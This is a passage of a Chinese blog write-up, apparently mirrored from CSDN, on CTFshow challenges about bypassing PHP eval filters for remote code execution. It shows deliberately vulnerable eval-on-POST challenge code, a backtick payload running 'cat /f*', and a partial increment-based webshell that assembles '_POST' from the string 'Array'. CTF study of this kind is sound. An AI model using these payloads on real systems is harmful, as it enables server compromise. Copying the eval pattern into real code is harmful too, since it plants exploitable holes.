码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 一些RCE的汇总


    RCE

    • 自增RCE
      • 参考[CTFshow-RCE极限大挑战官方wp]
        • RCE-1[过滤.(]
        • RCE-2p[自增-Array]
        • RCE-3[自增-NAN-<=105字符]
        • RCE-4[自增-NAN-<=84字符]
        • RCE-5[自增-gettext扩展]
        • 72位字符
        • 68位字符
    • 无参数RCE
      • 参考[RCE篇之无参数rce]
      • 介绍
        • 例题
        • 一些能用上的函数

    前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
    直接照搬好像又不太合适,加一点点个人见解好了。

    自增RCE

    参考[CTFshow-RCE极限大挑战官方wp]

    wp指路

    CTFshow-RCE极限大挑战官方wp

    开始复现

    RCE-1[过滤.(]

    题目源码

    
    error_reporting(0);
    highlight_file(__FILE__);
    $code = $_POST['code'];
    $code = str_replace("(","括号",$code);
    $code = str_replace(".","点",$code);
    eval($code);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    过滤了(和.,wp有写文件包含,ls看了一眼直接开摆
    在这里插入图片描述
    因为php的反引号可以执行系统命令,就可以直接POST得到flag

    code=echo `$_POST[1]`;&1=cat /f*
    
    • 1

    在这里插入图片描述

    RCE-2p[自增-Array]

    题目源码

    
    //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
    error_reporting(0);
    highlight_file(__FILE__);
    if (isset($_POST['ctf_show'])) {
       
        $ctfshow = $_POST['ctf_show'];
        if (is_string($ctfshow)) {
       
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
       
                eval($ctfshow);
            }else{
       
                echo("Are you hacking me AGAIN?");
            }
        }else{
       
            phpinfo();
        }
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
    从这里开始进入正题了,由于异或^和取反~都被过滤了,就可以用到数组[]和递增++了

    先解释,顺便把RCE-345里用到的N解释一下
    将数据类型转换成字符串型,就能得到数据类型相对应的字符串

    
    // highlight_file(__FILE__);
    $_ = [];//Array
    echo $_.'
    '
    ; $_ = [].'';//Array echo $_.'
    '
    ; $_ = "$_";//Array echo $_.'
    '
    ; $_ = $_['!'=='@'];//Array[0]=>A echo $_.'
    '
    ; echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了
    '
    ; @$a=(0/0);//NAN echo $a.'
    '
    ; @$b=(1/0);//NAN echo $b; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    在这里插入图片描述
    exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了

    
    $_=[].'';//Array
    $_=$_[''=='$'];//A
    $____='_';//_
    $__=$_;//A
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
    $____.=$__;//_P
    $__=$_;//A
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
    $____.=$__;//_PO
    $__=$_;//A
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
    $____.=$__;//_POS
    $__=$_;//A
    $__++;$__++;$__++;$__++;
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
  • 相关阅读:
    投资组合计算器(1)
    连接池快速入门
    入门力扣自学笔记103 C++ (题目编号919)
    mac安全干净卸载Anaconda3
    Python类变量和实例变量(类属性和实例属性)
    从字节码文件理解 ++i 和 i++ 的区别_i++ 与 ++i 底层
    对于AIGC(人工智能)我们应该如何看待
    【C++】C++实战项目机房预约管理系统
    Postgresql中,计算两个日期月份差值,实现ORACLE中MONTHS_BETWEEN的效果
    虚拟化kvm操作(第四次实验)
  • 原文地址:https://blog.csdn.net/qaq517384/article/details/127976798
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号